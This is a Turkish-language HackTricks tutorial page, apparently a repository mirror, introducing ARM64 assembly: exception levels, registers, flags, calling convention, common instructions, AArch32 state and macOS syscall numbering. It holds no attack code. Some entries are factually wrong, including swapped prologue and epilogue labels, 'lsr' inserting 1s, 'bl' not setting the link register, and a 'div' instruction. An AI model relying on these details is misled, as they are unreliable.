Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

45 KiB
Raw Blame History

ARM64v8'ye Giriş

Sıfırdan Kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

İstisna Seviyeleri - EL (ARM64v8)

ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyeleri, yürütme ortamının ayrıcalık seviyesini ve yeteneklerini tanımlar. EL0'dan EL3'e kadar olan dört istisna seviyesi vardır, her biri farklı bir amaca hizmet eder:

  1. EL0 - Kullanıcı Modu:
  • Bu en az ayrıcalıklı seviyedir ve düzenli uygulama kodlarını yürütmek için kullanılır.
  • EL0'da çalışan uygulamalar birbirinden ve sistem yazılımından izole edilir, böylece güvenlik ve kararlılık artar.
  1. EL1 - İşletim Sistemi Çekirdek Modu:
  • Çoğu işletim sistemi çekirdeği bu seviyede çalışır.
  • EL1, EL0'dan daha fazla ayrıcalığa sahiptir ve sistem kaynaklarına erişebilir, ancak sistem bütünlüğünü sağlamak için bazı kısıtlamalar vardır.
  1. EL2 - Hipervizör Modu:
  • Bu seviye sanallaştırma için kullanılır. EL2'de çalışan bir hipervizör, aynı fiziksel donanım üzerinde çalışan birden fazla işletim sistemini (her biri kendi EL1'inde) yönetebilir.
  • EL2, sanallaştırılmış ortamların izolasyonu ve kontrolü için özellikler sağlar.
  1. EL3 - Güvenli Monitör Modu:
  • Bu en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
  • EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.).

Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemdeki farklı yönleri yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır.

Registerlar (ARM64v8)

ARM64'ün 31 genel amaçlı registerı bulunmaktadır, x0 ile x30 arasında etiketlenmiştir. Her biri 64-bit (8-byte) bir değer saklayabilir. Yalnızca 32-bit değerler gerektiren işlemler için, aynı registerlar w0 ile w30 isimleri kullanılarak 32-bit modunda erişilebilir.

  1. x0 ile x7 - Genellikle geçici registerlar olarak ve alt programlara parametre geçirme amaçlı kullanılır.
  • x0 ayrıca bir fonksiyonun dönüş verisini taşır.
  1. x8 - Linux çekirdeğinde, x8 svc komutu için sistem çağrı numarası olarak kullanılır. macOS'ta ise x16 kullanılır!
  2. x9 ile x15 - Daha fazla geçici registerlar, genellikle yerel değişkenler için kullanılır.
  3. x16 ve x17 - İçsel-prosedürel Çağrı Registerları. Hemen değerler için geçici registerlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır.
  • x16, macOS'ta svc komutu için sistem çağrı numarası olarak kullanılır.
  1. x18 - Platform registerı. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü amaçlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde şu anda çalışan görev yapısına işaret etmek için.
  2. x19 ile x28 - Bu, çağrıyı yapanın değerlerini koruması gereken çağrılan registerlardır, bu nedenle bunlar yığında saklanır ve çağrıya geri dönmeden önce geri alınır.
  3. x29 - Yığın çerçevesini takip etmek için çerçeve işaretçisi. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, x29 registerı yığında saklanır ve yeni çerçeve işaretçi adresi (sp adresi) bu registerda saklanır.
  • Bu register genel amaçlı bir register olarak da kullanılabilir, ancak genellikle yerel değişkenlere referans olarak kullanılır.
  1. x30 veya lr- Bağlantı registerı. Bir BL (Branch with Link) veya BLR (Register ile Bağlantılı Dal) komutu yürütüldüğünde pc değerini bu registerda saklayarak dönüş adresini tutar.
  • Diğer registerlar gibi kullanılabilir.
  • Eğer mevcut fonksiyon yeni bir fonksiyon çağıracak ve dolayısıyla lr'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (stp x29, x30 , [sp, #-48]; mov x29, sp -> fp ve lr'yi sakla, alan oluştur ve yeni fp al) ve sonunda geri alır, bu prolog (ldp x29, x30, [sp], #48; ret -> fp ve lr'yi geri al ve dön).
  1. sp - Yığın işaretçisi, yığının en üstünü takip etmek için kullanılır.
  • sp değeri her zaman en az bir quadword hizalamasında tutulmalıdır aksi takdirde bir hizalama istisnası oluşabilir.
  1. pc - Program sayacı, bir sonraki komuta işaret eder. Bu register yalnızca istisna oluşturma, istisna dönüşü ve dallanmalar aracılığıyla güncellenebilir. Bu registerı okuyabilen tek sıradan komutlar, pc adresini lr'ye (Bağlantı Registerı) saklamak için kullanılan bağlantılı dal komutlarıdır (BL, BLR).
  2. xzr - Sıfır registerı. 32-bit register formunda wzr olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya subs kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin subs XZR, Xn, #10 sonucu veriyi hiçbir yere saklamadan (xzr içinde) saklar.

Wn registerları, Xn registerının 32-bit versiyonudur.

SIMD ve Kayan Nokta Registerları

Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen başka 32 adet 128-bit uzunluğunda register bulunmaktadır. Bunlar Vn registerları olarak adlandırılır, ancak aynı zamanda 64-bit, 32-bit, 16-bit ve 8-bit olarak da çalışabilir ve o zaman Qn, Dn, Sn, Hn ve Bn olarak adlandırılırlar.

Sistem Kayıtları

Yüzlerce sistem kaydı, ayrıca özel amaçlı kayıtlar (SPR) olarak da adlandırılan, işlemcilerin davranışını izlemek ve kontrol etmek için kullanılır.
Bu kayıtlar yalnızca özel mrs ve msr komutlarını kullanarak okunabilir veya ayarlanabilir.

Özel kayıtlar TPIDR_EL0 ve TPIDDR_EL0 genellikle tersine mühendislik yapılırken bulunur. EL0 eki, kaydın hangi istisnadan erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı düzenli istisna (ayrıcalık) seviyesidir).
Genellikle bunlar bellek bölgesinin iş parçacığı yerel depolama alanının taban adresini saklamak için kullanılır. Genellikle birincisi EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den yazılabilir (çekirdek gibi).

  • mrs x0, TPIDR_EL0 ; TPIDR_EL0'i x0'a oku
  • msr TPIDR_EL0, X0 ; x0'u TPIDR_EL0'e yaz

PSTATE

PSTATE, işlem sona erdiğinde işlem durumunu geri yüklemek için işletim sistemi tarafından görülebilen SPSR_ELx özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna izin seviyesi (bu, işlem sona erdiğinde işlem durumunu kurtarmayı sağlar).
Bu erişilebilir alanlar şunlardır:

  • N, Z, C ve V durum bayrakları:
  • N, işlemin negatif bir sonuç verdiğini gösterir
  • Z, işlemin sıfır verdiğini gösterir
  • C, işlemin taşındığını gösterir
  • V, işlemin işaretli bir taşma verdiğini gösterir:
  • İki pozitif sayının toplamı negatif bir sonuç verir.
  • İki negatif sayının toplamı pozitif bir sonuç verir.
  • Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi) ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa.
  • Açıkçası işlemcinin işlemin işaretli olup olmadığını bilmediği için, işlemlerde C ve V'yi kontrol edecek ve taşıma işareti olup olmadığını belirtecektir.

{% hint style="warning" %} Tüm komutlar bu bayrakları güncellemez. CMP veya TST gibi bazıları yapar, ve ADDS gibi s takısına sahip olanlar da yapar. {% endhint %}

  • Mevcut kayıt genişliği (nRW) bayrağı: Bayrak değeri 0 ise, program AArch64 yürütme durumunda çalıştırılacaktır.
  • Mevcut İstisna Seviyesi (EL): EL0'da çalışan normal bir programın değeri 0 olacaktır
  • Tek adımlama bayrağı (SS): Hata ayıklama araçları tarafından tek adımlamak için kullanılır, SS bayrağını SPSR_ELx içinde 1 olarak ayarlayarak bir istisna yoluyla. Program bir adım çalışacak ve tek adım istisnası verecektir.
  • Yasadışı istisna durumu bayrağı (IL): Bu, ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası tetikler.
  • DAIF bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçici olarak maskelemesine izin verir.
  • A 1 ise asenkron hatalar tetikleneceği anlamına gelir. I harici donanım Kesme İsteklerine (IRQ'ler) yanıt vermek için yapılandırılır ve F Hızlı Kesme İstekleri (FIR'ler) ile ilgilidir.
  • Yığın işaretçisi seçim bayrakları (SPS): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydını ve kullanıcı modelini (örneğin, SP_EL1 ve EL0 arasında) değiş tokuş yapabilir. Bu değişim, SPSel özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.

Çağrı Sözleşmesi (ARM64v8)

ARM64 çağrı sözleşmesi, bir işlev için ilk sekiz parametrenin x0 ile x7 kayıtlarında geçirildiğini belirtir. Ek parametreler yığın üzerinde geçirilir. Dönüş değeri, kayıt x0 içinde geri döndürülür, veya 128 bit uzunluğunda ise ayrıca x1 içinde de olabilir. x19 ile x30 ve sp kayıtları işlev çağrıları arasında korunmalıdır.

Bir işlevi derleyici dilinde okurken, işlev giriş ve çıkışını arayın. Giriş genellikle çerçeve işaretçisini (x29) kaydetmeyi, yeni bir çerçeve işaretçisi oluşturmayı ve bir yığın alanı tahsis etmeyi içerir. Çıkış genellikle kaydedilen çerçeve işaretçisini geri yüklemeyi ve işlevden dönüş yapmayı içerir.

Swift'te Çağrı Sözleşmesi

Swift'in kendi çağrı sözleşmesi burada bulunabilir.

Ortak Komutlar (ARM64v8)

ARM64 komutları genellikle opcode hedef, kaynak1, kaynak2 formatına sahiptir, burada opcode yapılacak işlemi belirtir (add, sub, mov, vb.), hedef sonucun depolanacağı hedef kayıt, ve kaynak1 ve kaynak2 kaynak kayıtlarıdır. Hemen hemen tüm komutlarda kaynak kayıtlarının yerine anlık değerler de kullanılabilir.

  • mov: Bir kayıttan diğerine bir değer taşıyın.
  • Örnek: mov x0, x1 — Bu, x1 den x0 a değeri taşır.
  • ldr: Bellekten bir değeri bir kayıda yükleyin.
  • Örnek: ldr x0, [x1] — Bu, x1 tarafından işaret edilen bellek konumundan x0 a bir değer yükler.
  • Ofset modu: Orin işaretçisini etkileyen bir ofset belirtilir, örneğin:
  • ldr x2, [x1, #8], bu x1 + 8'den x2'ye değeri yükleyecektir
  • ldr x2, [x0, x1, lsl #2], bu x2'ye x0 dizisinden x1 (indeks) * 4 pozisyonundaki bir nesneyi yükleyecektir
  • Ön-indeks modu: Bu, hesaplamaları orijine uygular, sonucu alır ve yeni orijini orijine kaydeder.
  • ldr x2, [x1, #8]!, bu x1 + 8 i x2'ye yükler ve x1 + 8 in sonucunu x1'e kaydeder
  • str lr, [sp, #-4]!, Bağlantı kaydını sp'ye kaydeder ve kayıt sp'yi günceller
  • Sonrası-indeks modu: Bu bir öncekine benzer ancak bellek adresine erişilir ve ardından ofset hesaplanır ve kaydedilir.
  • ldr x0, [x1], #8, x1'i x0'a yükler ve x1'i x1 + 8 ile günceller
  • PC'ye göre adresleme: Bu durumda yüklenecek adres, PC kaydına göre hesaplanır
  • ldr x1, =_start, Bu, _start sembolünün başladığı adresi x1'e yükleyecektir.
  • str: Bir değeri bir kayıttan belleğe kaydedin.
  • Örnek: str x0, [x1] — Bu, x0 daki değeri x1 tarafından işaret edilen bellek konumuna kaydeder.
  • ldp: Çift Kayıt Yükleme. Bu komut, ardışık bellek konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayıttaki bir değere bir ofset ekleyerek oluşturulur.
  • Örnek: ldp x0, x1, [x2] — Bu, sırasıyla x2 ve x2 + 8 bellek konumlarından x0 ve x1'i yükler.
  • stp: Çift Kayıt Saklama. Bu komut, iki kaydı ardışık bellek konumlarına saklar. Bellek adresi genellikle başka bir kayıttaki bir değere bir ofset ekleyerek oluşturulur.
  • Örnek: stp x0, x1, [sp] — Bu, sırasıyla sp ve sp + 8 bellek konumlarına x0 ve x1'i saklar.
  • stp x0, x1, [sp, #16]! — Bu, sırasıyla sp+16 ve sp + 24 bellek konumlarına x0 ve x1'i saklar ve sp'yi sp+16 ile günceller.
  • add: İki kaydın değerlerini ekleyin ve sonucu bir kayıtta saklayın.
  • Sözdizimi: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
  • Xn1 -> Hedef
  • Xn2 -> Operand 1
  • Xn3 | #imm -> Operand 2 (register veya immediate)
  • [shift #N | RRX] -> Bir kaydırma yap veya RRX'i çağır
  • Örnek: add x0, x1, x2 — Bu, x1 ve x2 değerlerini toplar ve sonucu x0'a kaydeder.
  • add x5, x5, #1, lsl #12 — Bu, 4096'ya eşittir (1'i 12 kez kaydırma) -> 1 0000 0000 0000 0000
  • adds Bu, bir add işlemi gerçekleştirir ve bayrakları günceller
  • sub: İki kaydırıcının değerlerini çıkarır ve sonucu bir kaydırıcıda saklar.
  • add sözdizimini kontrol et.
  • Örnek: sub x0, x1, x2 — Bu, x1'deki değerden x2'yi çıkarır ve sonucu x0'a kaydeder.
  • subs Bu, sub işlemini yapar ve bayrakları günceller
  • mul: İki kaydırıcının değerlerini çarpar ve sonucu bir kaydırıcıda saklar.
  • Örnek: mul x0, x1, x2 — Bu, x1 ve x2 değerlerini çarpar ve sonucu x0'a kaydeder.
  • div: Bir kaydırıcının değerini başka bir kaydırıcıya böler ve sonucu bir kaydırıcıda saklar.
  • Örnek: div x0, x1, x2 — Bu, x1'deki değeri x2'ye böler ve sonucu x0'a kaydeder.
  • lsl, lsr, asr, ror, rrx:
  • Mantıksal sola kaydırma: Diğer bitleri ileri taşıyarak sona 0'lar ekler (n kez 2 ile çarpar)
  • Mantıksal sağa kaydırma: Diğer bitleri geri taşıyarak başa 1'ler ekler (n kez 2'ye bölünmüş işaretsiz)
  • Aritmetik sağa kaydırma: lsr gibi, ancak en anlamlı bit 1 ise 1'ler eklenir (işaretli n kez 2'ye bölünmüş)
  • Sağa döndürme: lsr gibi, ancak sağdan kaldırılan her şey sola eklenir
  • Uzatma ile Sağa Döndürme: ror gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kabul edilir. Bu nedenle, taşıma bayrağı 31. bite ve kaldırılan bit taşıma bayrağına taşınır.
  • bfm: Bit Alanı Taşıma, bu işlemler bir değerden bitleri kopyalar ve bunları belirli konumlara yerleştirir. #s en sol bit konumunu belirtir ve #r sağa döndürme miktarını belirtir.
  • Bit alanı taşıma: BFM Xd, Xn, #r
  • İşaretli Bit alanı taşıma: SBFM Xd, Xn, #r, #s
  • İşaretsiz Bit alanı taşıma: UBFM Xd, Xn, #r, #s
  • Bit Alanı Çıkarma ve Ekleme: Bir kaydırıcıdan bir bit alanını kopyalar ve başka bir kaydırıcıya kopyalar.
  • BFI X1, X2, #3, #4 X2'den X1'in 3. bitine 4 bit ekler
  • BFXIL X1, X2, #3, #4 X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar
  • SBFIZ X1, X2, #3, #4 X2'den 4 biti işaretle genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
  • SBFX X1, X2, #3, #4 X2'den 3. bit başlayarak 4 bit çıkarır, işaretle genişletir ve sonucu X1'e yerleştirir
  • UBFIZ X1, X2, #3, #4 X2'den 4 biti sıfırlar genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
  • UBFX X1, X2, #3, #4 X2'den 3. bit başlayarak 4 bit çıkarır ve sonucu sıfırlanmış olarak X1'e yerleştirir.
  • İşareti Genişlet X'e: Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) ve işlemler yapabilmek için:
  • SXTB X1, W2 Bir baytın işaretini genişletir W2'den X1'e (W2, X2'nin yarısıdır) 64 biti doldurmak için
  • SXTH X1, W2 16 bitlik bir sayının işaretini genişletir W2'den X1'e 64 biti doldurmak için
  • SXTW X1, W2 Bir baytın işaretini genişletir W2'den X1'e 64 biti doldurmak için
  • UXTB X1, W2 Bir bayta 0'lar ekler (işaretsiz) W2'den X1'e 64 biti doldurmak için
  • extr: Belirtilen çift kaydırıcıdan bitleri çıkarır ve birleştirir.
  • Örnek: EXTR W3, W2, W1, #3 Bu, W1+W2'yi birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır ve W3'e kaydeder.
  • cmp: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. subs'nin bir takma adı olup hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. m == n'nin eşit olup olmadığını bilmek için kullanışlıdır.
  • Aynı sözdizimini destekler
  • Örnek: cmp x0, x1 — Bu, x0 ve x1 değerlerini karşılaştırır ve koşul bayraklarını buna göre ayarlar.
  • cmn: Negatif karşılaştırma işlemi. Bu durumda, adds'nin bir takma adı olup aynı sözdizimini destekler. m == -n'nin eşit olup olmadığını bilmek için kullanışlıdır.
  • ccmp: Koşullu karşılaştırma, önceki bir karşılaştırmanın doğru olması durumunda gerçekleştirilen ve özellikle nzcv bitlerini belirleyen bir karşılaştırmadır.
  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> eğer x1 != x2 ve x3 < x4 ise, _func'e atla
  • Bu, çünkü ccmp yalnızca önceki cmp bir NE ise gerçekleştirilecek ve aksi takdirde bitler nzcv 0 olarak ayarlanacaktır (blt karşılaştırmasını karşılamayacaktır).
  • Bu aynı zamanda ccmn olarak da kullanılabilir (aynı ancak negatif, cmp vs cmn gibi).
  • tst: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ve işlem yapmadan çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
  • Örnek: tst X1, #7 X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol edin
  • teq: Sonucu atlayarak XOR işlemi
  • b: Koşulsuz atama
  • Örnek: b myFunction
  • Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
  • bl: Bağlantı ile atama, bir alt programı çağırmak için kullanılır. Dönüş adresini x30'da saklar.
  • Örnek: bl myFunction — Bu, myFunction fonksiyonunu çağırır ve dönüş adresini x30'da saklar.
  • Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
  • blr: Kayıtlı hedefi belirtilen bir kaydırıcıda olan bir alt programı çağırmak için kullanılır. Dönüş adresini x30'da saklar. (Bu
  • Örnek: blr x1 — Bu, adresi x1 içinde bulunan fonksiyonu çağırır ve dönüş adresini x30'da saklar.
  • ret: Alt programdan dön, genellikle x30 içindeki adresi kullanarak.
  • Örnek: ret — Bu, mevcut alt programdan x30 içindeki dönüş adresini kullanarak döner.
  • b.<cond>: Koşullu atamalar
  • b.eq: Eşitse atama, önceki cmp talimatına dayanarak.
  • Örnek: b.eq label — Eğer önceki cmp talimatı iki eşit değer bulursa, bu label'a atlar.
  • b.ne: Eşit Değilse Dal. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar.
  • Örnek: cmp x0, x1 talimatından sonra, b.ne label — x0 ve x1 içindeki değerler eşit değilse, bu label'e atlar.
  • cbz: Sıfır Karşılaştır ve Dal. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar.
  • Örnek: cbz x0, label — x0 içindeki değer sıfırsa, bu label'e atlar.
  • cbnz: Sıfır Olmayanı Karşılaştır ve Dal. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar.
  • Örnek: cbnz x0, label — x0 içindeki değer sıfır olmayan bir değerse, bu label'e atlar.
  • tbnz: Biti test et ve sıfır olmayan durumda dal
  • Örnek: tbnz x0, #8, label
  • tbz: Biti test et ve sıfır durumunda dal
  • Örnek: tbz x0, #8, label
  • Koşullu seçim işlemleri: Davranışı koşullu bitlere bağlı olan işlemlerdir.
  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Doğruysa, X0 = X1, yanlışsa, X0 = X2
  • csinc Xd, Xn, Xm, cond -> Doğruysa, Xd = Xn, yanlışsa, Xd = Xm + 1
  • cinc Xd, Xn, cond -> Doğruysa, Xd = Xn + 1, yanlışsa, Xd = Xn
  • csinv Xd, Xn, Xm, cond -> Doğruysa, Xd = Xn, yanlışsa, Xd = DEĞİL(Xm)
  • cinv Xd, Xn, cond -> Doğruysa, Xd = DEĞİL(Xn), yanlışsa, Xd = Xn
  • csneg Xd, Xn, Xm, cond -> Doğruysa, Xd = Xn, yanlışsa, Xd = - Xm
  • cneg Xd, Xn, cond -> Doğruysa, Xd = - Xn, yanlışsa, Xd = Xn
  • cset Xd, Xn, Xm, cond -> Doğruysa, Xd = 1, yanlışsa, Xd = 0
  • csetm Xd, Xn, Xm, cond -> Doğruysa, Xd = <tüm 1>, yanlışsa, Xd = 0
  • adrp: Bir sembolün sayfa adresini hesapla ve bir kayıtta sakla.
  • Örnek: adrp x0, symbol — Bu, symbol'ün sayfa adresini hesaplar ve x0'a saklar.
  • ldrsw: Bellekten işaretle 32 bitlik bir değeri 64 bite genişleterek yükle.
  • Örnek: ldrsw x0, [x1] — Bu, x1 tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bit'e genişletir ve x0'a saklar.
  • stur: Bir kayıt değerini başka bir kayıttan gelen bir ofset kullanarak bir bellek konumuna kaydet,.
  • Örnek: stur x0, [x1, #4] — Bu, x1 içindeki adresin 4 bayt daha büyük olan bellek adresine x0 içindeki değeri kaydeder.
  • svc : Bir sistem çağrısı yap. "Supervisor Call" kısaltmasıdır. İşlemci bu talimatı çalıştırdığında, kullanıcı modundan çekirdek moda geçer ve çekirdeğin sistem çağrısı işleme kodunun bulunduğu belirli bir bellek konumuna atlar.
  • Örnek:
mov x8, 93  ; Çıkış için sistem çağrısı numarasını (93) x8 kaydına yükle.
mov x0, 0   ; Çıkış durum kodunu (0) x0 kaydına yükle.
svc 0       ; Sistem çağrısı yap.

Fonksiyon Prologu

  1. Bağlantı kaydedici ve çerçeve işaretçisini yığın üzerine kaydet:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer

{% endcode %}

  1. Yeni çerçeve işaretçisini ayarlayın: mov x29, sp (geçerli işlev için yeni çerçeve işaretçisini ayarlar)
  2. Yerel değişkenler için yığın üzerinde alan ayırın (gerekiyorsa): sub sp, sp, <boyut> (burada <boyut>, ihtiyaç duyulan bayt sayısıdır)

İşlev Epilogu

  1. Yerel değişkenleri serbest bırakın (eğer ayrıldıysa): add sp, sp, <boyut>
  2. Bağlantı kaydedicisini ve çerçeve işaretçisini geri yükleyin:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. Dönüş: ret (kontrolü çağırana link registerındaki adrese döndürür)

AARCH32 Yürütme Durumu

Armv8-A, 32 bitlik programların yürütülmesini destekler. AArch32, iki komut setinden birinde çalışabilir: A32 ve T32 ve aralarında geçiş yapabilir.
Ayrıcalıklı 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviyesi transferi gerçekleştirerek 32 bitlik programların yürütülmesini planlayabilir.
64 bitlikten 32 bitliğe geçişin, daha düşük bir istisna seviyesi ile gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programı tetikliyor). Bu, AArch32 işlem ipliğinin yürütülmeye hazır olduğunda SPSR_ELx özel kaydının 4. bitini 1 olarak ayarlayarak yapılır ve SPSR_ELx'in geri kalanı AArch32 programlarının CPSR'ını saklar. Ardından, ayrıcalıklı işlem ERET komutunu çağırarak işlemcinin AArch32'ye geçiş yapmasını sağlar ve CPSR'a bağlı olarak A32 veya T32'ye girer.

Geçiş, CPSR'ın J ve T bitlerini kullanarak gerçekleşir. J=0 ve T=0 A32'yi, J=0 ve T=1 ise T32'yi temsil eder. Bu temelde, komut setinin T32 olduğunu belirtmek için en düşük bitin 1 olarak ayarlanması anlamına gelir.
Bu, geçiş dalı komutları sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer komutlarla doğrudan ayarlanabilir. Örnek:

Başka bir örnek:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Kayıtlar

16 adet 32 bitlik kayıt bulunmaktadır (r0-r15). r0'dan r14'e kadar herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır:

  • r15: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4.
  • r11: Çerçeve İşaretçisi
  • r12: İçsel işlem çağrı kaydı
  • r13: Yığın İşaretçisi
  • r14: Bağlantı Kaydedici

Ayrıca, kayıtlar **bankalı kayıtlar**da yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde hızlı bağlam değiştirme yapabilmek için kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.
Bu, işlemcinin durumunu istisna alınan işlemcinin moduna ait CPSR'den SPSR'ye kaydederek yapılır. İstisna dönüşlerinde, CPSR SPSR'den geri yüklenir.

CPSR - Geçerli Program Durumu Kaydedici

AArch32'de CPSR, AArch64'teki PSTATE ile benzer şekilde çalışır ve bir istisna alındığında daha sonra yürütme yeniden başlatmak için SPSR_ELx'de depolanır:

Alanlar bazı gruplara ayrılmıştır:

  • Uygulama Program Durumu Kaydedici (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir.
  • Yürütme Durumu Kaydedicileri: İşlem davranışı (işletim sistemi tarafından yönetilir).

Uygulama Program Durumu Kaydedici (APSR)

  • N, Z, C, V bayrakları (AArch64'te olduğu gibi)
  • Q bayrağı: Özel doygun aritmetik komutunun yürütülmesi sırasında tamsayı doygunluğu oluştuğunda 1 olarak ayarlanır. Bir kez 1 olarak ayarlandığında, elle 0 olarak ayarlanana kadar değeri korur. Ayrıca, değerini zımni olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunmalıdır.
  • GE (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler tek bir komutta birden fazla veri noktasını işlemeyi sağlar.

Örneğin, UADD8 komutu, paralel olarak dört çift baytı (iki 32 bitlik işleçten) toplar ve sonuçları bir 32 bitlik kaydediciye depolar. Ardından, bu sonuçlara dayanarak APSR içindeki GE bayraklarını ayarlar. Her GE bayrağı, taşma olup olmadığını belirten bayt çiftlerinden birine karşılık gelir.

SEL komutu, bu GE bayraklarını koşullu işlemler yapmak için kullanır.

Yürütme Durumu Kaydedicileri

  • J ve T bitleri: J 0 olmalıdır ve T 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır.
  • IT Blok Durum Kaydedici (ITSTATE): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir IT ön ekli grup içindeki komutlar için koşulları depolarlar.
  • E biti: endianness'ı gösterir.
  • Mod ve İstisna Maske Bitleri (0-4): Mevcut yürütme durumunu belirler. 5. olan programın 32 bitlik (1) veya 64 bitlik (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
  • AIF: Belirli istisnalar, A, I, F bitleri kullanılarak devre dışı bırakılabilir. A 1 ise zaman uyumsuz hatalar tetikleneceğini belirtir. I, harici donanım Kesme İstekleri'ne (IRQ'ler) yanıt vermek için yapılandırılır. ve F, Hızlı Kesme İstekleri'ne (FIR'lar) ilişkilidir.

macOS

BSD sistem çağrıları

syscalls.master dosyasına bakın. BSD sistem çağrılarının x16 > 0 olacaktır.

Mach Tuzakları

syscall_sw.c dosyasında mach_trap_table'ı ve mach_traps.h dosyasında prototipleri kontrol edin. Mach tuzaklarının sayısı MACH_TRAP_TABLE_COUNT = 128'dir. Mach tuzakları x16 < 0 olacaktır, bu nedenle önceki listedeki numaraları eksi işaretiyle çağırmalısınız: _kernelrpc_mach_vm_allocate_trap -10'dur.

Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir ayraçta libsystem_kernel.dylib'i kontrol edebilirsiniz:

{% code overflow="wrap" %}

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
